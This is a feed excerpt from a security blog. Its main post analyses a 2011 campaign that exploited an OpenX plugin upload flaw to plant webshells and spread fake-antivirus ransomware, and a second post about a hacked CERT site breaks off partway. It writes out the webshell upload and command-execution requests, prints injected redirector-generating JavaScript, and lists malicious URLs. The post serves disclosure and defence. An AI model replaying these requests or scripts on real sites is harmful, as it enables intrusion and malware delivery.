sites'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01653790213029148763</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-bs4fVwwf79Q/TkCQO5YcqgI/AAAAAAAACaY/ZI9hP_7U3L4/s72-c/willysy_mass_oscommerce_infection_willysy_7M.png' height='72' width='72'/><thr:total>45</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-9100510040999739800</id><published>2011-07-08T12:11:00.000-07:00</published><updated>2011-12-05T00:04:41.138-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malvertising'/><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Vulnerable plugins offered on OpenX.org allowed the "dyndns" group to compromise Websites and spread "Personal Shield Pro" via malvertising</title><content type='html'>Vulnerable plugins offered on OpenX.org allowed the "dyndns" group to compromise Websites and spread "Personal Shield Pro" via malvertising&lt;br /&gt;&lt;br /&gt;(Credits: Wayne Huang, Chris Hsiao, Sun Huang, NightCola Lin)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-CUOAb5f1kgE/ThIiRDJ-mAI/AAAAAAAACUA/guj25uRRSSE/s1600/openx_malvertising_personal_shield_pro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-CUOAb5f1kgE/ThIiRDJ-mAI/AAAAAAAACUA/guj25uRRSSE/s1600/openx_malvertising_personal_shield_pro.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Contents:&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#summary"&gt;[1. Summary]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#infection"&gt;[2. The infection process]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#openx"&gt;[3. The OpenX Vulnerability]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#attack"&gt;[4. The attack method]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#patch"&gt;[5. How to patch a vulnerable site]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#exploitpack"&gt;[6. The exploit pack]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#randomization"&gt;[7. Domain randomization]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#php_filename"&gt;[8. Random PHP filenames--really random?]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#dyndns"&gt;[9. The "dyndns" attacker group]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800#list"&gt;[10. List of affected websites]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="summary"&gt;&lt;b&gt;[1. Summary]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Impact:&lt;/b&gt; Visitors to infected websites are infected permanently with the fake antivirus ransomware "Personal Shield Pro."&lt;br /&gt;&lt;b&gt;Cause:&lt;/b&gt; Vulnerability inside a plugin package &lt;a href="https://developer.openx.org/wiki/download/attachments/16155845/openXVideoAds.zip"&gt;offered&lt;/a&gt; on the official OpenX website &lt;a href="http://www.blogger.com/post-create.g?blogID=505418663478597283"&gt;openx.org&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;Exploit pack:&lt;/b&gt; The g01pack exploit pack.&lt;br /&gt;&lt;b&gt;Attack group:&lt;/b&gt; Internally we dub it the "dyndns" group, who was responsible for multiple Clicksor incidents that we reported in May, as well as other types of Web malware injection incidents tracing much further back.&lt;br /&gt;&lt;b&gt;Sample list of infected websites:&lt;/b&gt;&lt;br /&gt;theastrologer.com&lt;br /&gt;bancadellecase.com&lt;br /&gt;thrillldrillls.com&lt;br /&gt;luckymoving.com&lt;br /&gt;mediabooks.com&lt;br /&gt;dfonline.jp&lt;br /&gt;dailynews.co.za&lt;br /&gt;perefoorum.ee&lt;br /&gt;sasites.co.za&lt;br /&gt;abmotor.pt&lt;br /&gt;medical-tribune.co.jp&lt;br /&gt;diamondcard.it&lt;br /&gt;adrenal-fatigue.de&lt;br /&gt;allergien-behandeln.de&lt;br /&gt;rhr.ru&lt;br /&gt;kuku.ee&lt;br /&gt;handwerkermarkt.de&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="infection"&gt;&lt;b&gt;[2. The infection process]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In 2009, GMO-Cloud and Armorize started the&lt;a href="http://www.securestar.jp/webalert/"&gt; WebAlert&lt;/a&gt; malware monitoring platform in Japan. Armorize and GMO have been working together ever since to actively research Web Malware using threats detected via the WebAlert platform.  WebAlert is offered free by GMO to 130,000 businesses worldwide resulting in an abundant wealth of malware related information for Armorize and GMO researchers to use in tracking and investigating web malware and large-scale malicious injection outbreaks.&lt;br /&gt;&lt;br /&gt;Starting May of this year, we've been tracking a group we tagged internally as the "dyndns." In mid May, we wrote in our Chinese blog about how they've been &lt;a href="http://armorize-cht.blogspot.com/2011/05/clicksor_16.html"&gt;massively spreading malvertisements via Clicksor&lt;/a&gt;. Armorize had its Chinese blog since 2008, and in May we wrote about this group only in the Chinese blog because we didn't really want to publicly call out Clicksor. But the attack was so widespread it was too hard not to talk about it and so we did it in Chinese. We've included in that post full traffic dumps of the incidents; please read it via &lt;a href="http://translate.google.com/translate?u=http%3A%2F%2Farmorize-cht.blogspot.com%2F2011%2F05%2Fclicksor_16.html&amp;amp;sl=zh-CN&amp;amp;tl=en&amp;amp;hl=&amp;amp;ie=UTF-8"&gt;Google translate&lt;/a&gt; if you're interested. We did inform Clicksor, of course.&lt;br /&gt;&lt;br /&gt;Well, soon after our post, this "dyndns" group started to attack Websites that use &lt;a href="http://www.openx.org/"&gt;OpenX&lt;/a&gt; to serve ads. Visitors to infected websites would end up having the fake antivirus &lt;a href="http://en.wikipedia.org/wiki/Ransomware_%28malware%29"&gt;ransomware&lt;/a&gt; "Personal Shield Pro," which is permanently installed inside the victims' PCs. This fake antirivus program disables most system functionalities and attributes the reason to "multiple virus infections on the system." One way to stop this and regain control of the PC is to click on "Remove All" and purchase a "license," which then pays the attackers and also discloses to them the credit card number used.&lt;br /&gt;&lt;br /&gt;Here's a video using an infected Japanese website as example:&lt;br /&gt;&lt;iframe allowfullscreen="" src="http://www.youtube.com/embed/MeyCTBlI81w" frameborder="0" height="468" width="750"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="openx"&gt;&lt;b&gt;[3. The OpenX Vulnerability]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All of the infected websites were using OpenX to serve advertisements, with some having the installed the latest version--2.8.7. The infected OpenX file is (in most cases) ajs.php, and here's how the entire URL looks like:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&lt;span class="fullpost"&gt;http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&amp;amp;cb=4021406622&amp;amp;charset=utf-8&amp;amp;loc=http%3A//theastrologer.com/&lt;/span&gt;&lt;/pre&gt;&lt;span class="fullpost"&gt;Curious to know how they've been hacked even with a most up-to-date version of OpenX, we dug deeper. As you can see, in the infected website bancadellecase.it, there's a webshell here:&lt;br /&gt;&lt;br /&gt;http://bancadellecase.it/admin/banner/www/admin/plugins/videoReport/lib/tmp-upload-images/image.php&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-CETxGYIu7t0/ThJvTI9cxGI/AAAAAAAACUI/LncNa3huLTQ/s1600/openx_hacked_webshell_malvertising.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/-CETxGYIu7t0/ThJvTI9cxGI/AAAAAAAACUI/LncNa3huLTQ/s1600/openx_hacked_webshell_malvertising.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;A webshell is a backdoor script that allows the attacker full control of the compromised website.&lt;br /&gt;&lt;br /&gt;Going up a directory, we found that there's been many attempts to upload a shell:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-hzwf8cwnDJI/ThJwI4eLeII/AAAAAAAACUQ/35rYoG8mP2g/s1600/openx_hacked_webshell_malvertising_personal_shield_pro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-hzwf8cwnDJI/ThJwI4eLeII/AAAAAAAACUQ/35rYoG8mP2g/s1600/openx_hacked_webshell_malvertising_personal_shield_pro.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The first successful upload happened on Jun 29th, and it's obvious that after successfully uploading the webshell, the attacker modified the directory's access rights causing subsequent attempts to fail.&lt;br /&gt;&lt;br /&gt;The webshell upload was made possible by a &lt;a href="https://developer.openx.org/wiki/download/attachments/16155845/openXVideoAds.zip"&gt;link&lt;/a&gt; on the &lt;a href="http://www.openx.org/docs/2.8/userguide/video%20ads%20player%20configuration"&gt;openx.org website&lt;/a&gt; for OpenX users to download the OpenX Video Plugin:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-HmSlPpw5Grg/ThMexlURqUI/AAAAAAAACUY/LO3U6L2SCO4/s1600/openx_malvertising_personal_shield_pro_openx_website.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/-HmSlPpw5Grg/ThMexlURqUI/AAAAAAAACUY/LO3U6L2SCO4/s1600/openx_malvertising_personal_shield_pro_openx_website.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;This zip file includes OpenX Video Plugin version 1.1, which contains &lt;a href="http://sourceforge.net/projects/openflashchart/files/open-flash-chart/"&gt;Open Flash Chart&lt;/a&gt;, which hasn't been updated since 2009 and contains an unrestricted file upload vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4140"&gt;CVE-2009-4140&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;As seen below, downloading and installing the plugin package as offered on openx.org results in installation of OpenX Video Plugin version 1.1:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-_QykG35lOOk/ThO7XEG9jhI/AAAAAAAACVA/2PAN3d8Jx7M/s1600/2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-_QykG35lOOk/ThO7XEG9jhI/AAAAAAAACVA/2PAN3d8Jx7M/s1600/2.PNG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Version 1.1 isn't patched--the newest, patched version is OpenX Video Plugin 1.8.7, as shown below:&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-xk83JlNaJso/ThO73Y_JgvI/AAAAAAAACVI/Ip2a3L3vYjw/s1600/1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-xk83JlNaJso/ThO73Y_JgvI/AAAAAAAACVI/Ip2a3L3vYjw/s1600/1.PNG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="attack"&gt;&lt;b&gt;[4. The attack method]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;1. The attacker first test for the existence of ofc_upload_image.php: http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php&lt;br /&gt;&lt;br /&gt;2. If exists, the attacker then creates a simple webshell using the following request:&lt;br /&gt;http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=shell.php&amp;amp;HTTP_RAW_POST_DATA=&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-mD86KY1MvGs/ThMxarOdi_I/AAAAAAAACUg/ZSKJNUY7fAQ/s1600/openx_malvertising_personal_shield_pro_openx_website3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/-mD86KY1MvGs/ThMxarOdi_I/AAAAAAAACUg/ZSKJNUY7fAQ/s1600/openx_malvertising_personal_shield_pro_openx_website3.PNG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;3. The attacker now checks whether the shell has been successfully uploaded:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-y3zjcH_iHTY/ThMyyUHypmI/AAAAAAAACUo/NLY6xeIDaaA/s1600/openx_hacked_webshell_malvertising4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/-y3zjcH_iHTY/ThMyyUHypmI/AAAAAAAACUo/NLY6xeIDaaA/s1600/openx_hacked_webshell_malvertising4.PNG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;4. And if so, then the attacker can execute any system command by issuing requests such as: http://victim.com/www/admin/plugins/videoReport/lib/tmp-upload-images/shell.php?cmd=ipconfig&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-rdz8DuZuGSk/ThMyyrEorDI/AAAAAAAACUw/21wfsVoc548/s1600/openx_hacked_webshell_malvertising5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-rdz8DuZuGSk/ThMyyrEorDI/AAAAAAAACUw/21wfsVoc548/s1600/openx_hacked_webshell_malvertising5.PNG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;5. Use the shell to inject malicious javascript into one of the OpenX php files. In this case it's for example:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&amp;amp;cb=4021406622&amp;amp;charset=utf-8&amp;amp;loc=http%3A//theastrologer.com/&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="patch"&gt;&lt;b&gt;[5. How to patch a vulnerable site]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Website owners should click on the "Plugins" tab in their control panels (as shown in the above screenshot) and check for the openXVideoAds version. For versions under 1.8.7, the website owner can simply do the following to patch the vulnerability:&lt;br /&gt;&lt;br /&gt;1. Locate the directory ofc2, usually under:&lt;br /&gt;/admin/banner/www/admin/plugins/videoReport/lib/ofc2&lt;br /&gt;&lt;br /&gt;2. In the directory, open ofc_upload_image.php and empty the contents:&lt;br /&gt;/admin/banner/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php&lt;br /&gt;&lt;br /&gt;This is how version 1.8.7 patches the vulnerability&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="exploitpack"&gt;&lt;b&gt;[6. The exploit pack]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This time the "dyndns" grouped mostly used the g01pack exploit pack:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-zLANvMR6G6Y/ThNYUaQKZcI/AAAAAAAACU4/6qcBb-U9h5I/s1600/g01pack_malvertising.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/-zLANvMR6G6Y/ThNYUaQKZcI/AAAAAAAACU4/6qcBb-U9h5I/s1600/g01pack_malvertising.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="randomization"&gt;&lt;b&gt;[7. Domain randomization]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Let's have a look at some of the domains of the redirctors involved in this wave of attack:&lt;br /&gt;&lt;br /&gt;blogtxcl.dyndns-blog.com&lt;br /&gt;blogtvaj.dyndns-blog.com&lt;br /&gt;blogkmra.dyndns-blog.com&lt;br /&gt;blogrsxg.dyndns-blog.com&lt;br /&gt;blogopud.dyndns-blog.com&lt;br /&gt;bloghinw.dyndns-blog.com&lt;br /&gt;blogcdir.dyndns-blog.com&lt;br /&gt;blogwwbk.dyndns-blog.com&lt;br /&gt;blogrrwf.dyndns-blog.com&lt;br /&gt;blogootc.dyndns-blog.com&lt;br /&gt;&lt;br /&gt;And also:&lt;br /&gt;&lt;br /&gt;officekhmv.dyndns-office.com&lt;br /&gt;officetnsb.dyndns-office.com&lt;br /&gt;officetlqz.dyndns-office.com&lt;br /&gt;officevfkt.dyndns-office.com&lt;br /&gt;officeluzi.dyndns-office.com&lt;br /&gt;officeeinw.dyndns-office.com&lt;br /&gt;officejmra.dyndns-office.com&lt;br /&gt;officeklqz.dyndns-office.com&lt;br /&gt;officecdir.dyndns-office.com&lt;br /&gt;officexcgp.dyndns-office.com&lt;br /&gt;officeccgp.dyndns-office.com&lt;br /&gt;&lt;br /&gt;And so, apparently, these domains take the format of _X_random.dyndns-X.com. In the first case, X=blog and in the second, X=office. Actually, this is exactly how these random domain names are generated. Let's look at the piece of malicious script injected into the OpenX ajs.php file:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&amp;amp;cb=4021406622&amp;amp;charset=utf-8&amp;amp;loc=http%3A//theastrologer.com/&lt;/pre&gt;Here's a part of the injected javascript:&lt;br /&gt;&lt;pre class="brush: js; auto-links: false"&gt;function T(harlots, ralphed) {  soberer = harlots;  var r = String("abcdefghi5zI9".substr(0, 9) + "jklmnopqrA2B".substr(0, 9) + "stuvwxyz");  var limpsey = new String("charARvGp".substr(0, 5) + "t");  var doglegs = "length";  footies = new Date();  var leisure = Math.floor(footies.getUTCHours());  var wyverns = footies.getUTCDate();  var dusters = footies.getUTCMonth();  var evinces = footies.getUTCFullYear();  var anchors = (leisure % r[doglegs]);  var a = (leisure + wyverns) % r[doglegs];  var romanos = (leisure + wyverns + dusters) % r[doglegs];  var sorcery = (leisure + wyverns + dusters + evinces) % r[doglegs];  soberer += r[limpsey](anchors);  soberer += r[limpsey](a);  soberer += r[limpsey](romanos);  soberer += r[limpsey](sorcery);  return soberer + ralphed;}&lt;/pre&gt;And here's how function T is called:&lt;br /&gt;&lt;pre class="brush: js; auto-links: false"&gt;var soberer = T(new String(\"blou0s\".substr(0,3)+\"glqSm\".substr(0,1)), new String(\".dyndns-\"+\"blog.com\"));&lt;/pre&gt;String(\"blou0s\".substr(0,3)+\"glqSm\".substr(0,1)) resolves to:&lt;br /&gt;&lt;b&gt;"blog"&lt;/b&gt;&lt;br /&gt;and String(\".dyndns-\"+\"blog.com\") resolves to:&lt;br /&gt;&lt;b&gt;"dyndns-blog.com"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;And therefore the above javascript generates the random _X_random.dyndns-X.com malicious redirecting domains (redirectors). The randomization is based on the year, month, date and time.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="php_filename"&gt;&lt;b&gt;[8. Random PHP filenames--really random?]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So we've covered the &lt;b&gt;domain name&lt;/b&gt; generated by the injected script. Now let's look at the &lt;b&gt;entire generated URL&lt;/b&gt;. An example:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;http://nwetdsou.dyndns-web.com/images/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&amp;amp;f=131263&amp;amp;topic_id=de_at&amp;amp;&lt;/pre&gt;Let's look at the &lt;b&gt;file name&lt;/b&gt; part: aeea8469e09d31020332ac926f183eaa.php. Seemingly random, right? Well not really. If you &lt;a href="http://www.google.com.tw/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=aeea8469e09d31020332ac926f183eaa.php"&gt;google for it&lt;/a&gt;, you get &lt;a href="http://armorize-cht.blogspot.com/2011/05/clicksor_16.html"&gt;our Chinese blog about Clicksor malvertising&lt;/a&gt; (actually, the post is the only result right now).&lt;br /&gt;&lt;br /&gt;So actually the seemingly-random "aeea8469e09d31020332ac926f183eaa.php" &lt;b&gt;did appear&lt;/b&gt; before, in the malicious URLs involved in the multiple Clicksor malvertising incidents we wrote about. (&lt;a href="http://translate.google.com/translate?u=http%3A%2F%2Farmorize-cht.blogspot.com%2F2011%2F05%2Fclicksor_16.html&amp;amp;sl=zh-CN&amp;amp;tl=en&amp;amp;hl=&amp;amp;ie=UTF-8"&gt;Google's translation&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Well, further more, in our joint malware research lab with GMO-HS, this "aeea8469e09d31020332ac926f183eaa.php" file has appeared multiple times recently, some in cases associated with websites hacked via this OpenX plugin vulnerability, and some in other cases. &lt;b&gt;An interesting note is that although the domain names are randomized, the file names were left fixed, but made to look random.&lt;/b&gt;&lt;br /&gt;Examples:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;http://nwetdsou.dyndns-web.com/images/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&amp;amp;f=131263&amp;amp;topic_id=de_at&amp;amp;http://set.gambulingwebsites.com/news/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&amp;amp;f=5090485&amp;amp;topic_id=1994&amp;amp;http://tracks.fresnobabies.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&amp;amp;thread_id=3336736&amp;amp;forum_id=1992&amp;amp;http://vvvvvv.dyndns-mail.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&amp;amp;thread_id=3271149&amp;amp;forum_id=1997&amp;amp;http://tracks.fresnobabies.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&amp;amp;thread_id=2336475&amp;amp;forum_id=1992&amp;amp;http://blog.equine-webdesign.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&amp;amp;thread_id=2328756&amp;amp;forum_id=2010&amp;amp;http://grand.atlantahomevaluesnow.com/news/aeea8469e09d31020332ac926f183eaa.php?start=2&amp;amp;thread_id=56082781&amp;amp;forum_id=1992&amp;amp;http://payments.cavatars.mobi/news/aeea8469e09d31020332ac926f183eaa.php?start=2&amp;amp;thread_id=55210399&amp;amp;forum_id=1991&amp;amp;&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="dyndns"&gt;&lt;b&gt;[9. The "dyndns" attacker group]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And so, this seemingly-random file name "aeea8469e09d31020332ac926f183eaa.php" file isn't really&lt;br /&gt;random, in fact, it's one of the commonly used file names by this "dyndns" group, and has appeared in &lt;a href="http://translate.google.com/translate?u=http%3A%2F%2Farmorize-cht.blogspot.com%2F2011%2F05%2Fclicksor_16.html&amp;amp;sl=zh-CN&amp;amp;tl=en&amp;amp;hl=&amp;amp;ie=UTF-8"&gt;various Clicksor malvertising incidents&lt;/a&gt; in May, as well as multiple other types of Web malware injections dating much further back.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=9100510040999739800" name="#list"&gt;[10. List of affected websites]&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;Here's a sample list of affected websites involved in this wave of OpenX hacking to spread "Personal Shield Pro":&lt;br /&gt;&lt;br /&gt;theastrologer.com&lt;br /&gt;bancadellecase.com&lt;br /&gt;thrillldrillls.com&lt;br /&gt;luckymoving.com&lt;br /&gt;mediabooks.com&lt;br /&gt;dfonline.jp&lt;br /&gt;dailynews.co.za&lt;br /&gt;perefoorum.ee&lt;br /&gt;sasites.co.za&lt;br /&gt;abmotor.pt&lt;br /&gt;medical-tribune.co.jp&lt;br /&gt;diamondcard.it&lt;br /&gt;adrenal-fatigue.de&lt;br /&gt;allergien-behandeln.de&lt;br /&gt;rhr.ru&lt;br /&gt;kuku.ee&lt;br /&gt;handwerkermarkt.de&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-9100510040999739800?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/9100510040999739800/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/07/openx-hacked-by-dyndns-malvertising.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/9100510040999739800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/9100510040999739800'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/07/openx-hacked-by-dyndns-malvertising.html' title='Vulnerable plugins offered on OpenX.org allowed the &quot;dyndns&quot; group to compromise Websites and spread &quot;Personal Shield Pro&quot; via malvertising'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-CUOAb5f1kgE/ThIiRDJ-mAI/AAAAAAAACUA/guj25uRRSSE/s72-c/openx_malvertising_personal_shield_pro.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-3558827062126454373</id><published>2011-07-07T09:16:00.000-07:00</published><updated>2011-07-09T18:16:54.413-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Cambodia Government CERT website serving malware</title><content type='html'>&lt;Credits: GlobalSign team, Armorize colleagues Wayne Huang, Chris Hsiao, Sun Huang, NightCola Lin, Fyodor Yarochkin&gt;&lt;br /&gt;Beginning of this year, GlobalSign and Armorize established a joint platform to scan for compromised websites serving malware to visitors.&lt;br /&gt;&lt;br /&gt;On July 1st (Friday), we noticed that some of the compromised websites had iframes pointing to www.camcert.gov.kh, which is Website of &lt;b&gt;National Cambodia Computer Emergency Response Team (CamCERT) &lt;/b&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-GhECbqvc6YU/ThAKLaLw3xI/AAAAAAAACTw/fEsvdhuFqNE/s1600/cambodia_cert_hacked_cropped.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-GhECbqvc6YU/ThAKLaLw3xI/AAAAAAAACTw/fEsvdhuFqNE/s1600/cambodia_cert_hacked_cropped.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;iframe width="750" height = "468" src="http://www.youtube.com/embed/UfY0pCZXF8o" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;We quickly check out CamCERT's website and confirmed that it's been hacked into and injected with CramePack, which is an Web malware (drive-by download) exploit pack that supports exploits for &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003"&gt;CVE-2006-0003&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806"&gt;CVE-2010-0806&lt;/a&gt;&lt;br /&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3867"&gt;CVE-2009-3867&lt;/a&gt;, &lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806"&gt;CVE-2010-0806&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659&lt;/a&gt;, &lt;a 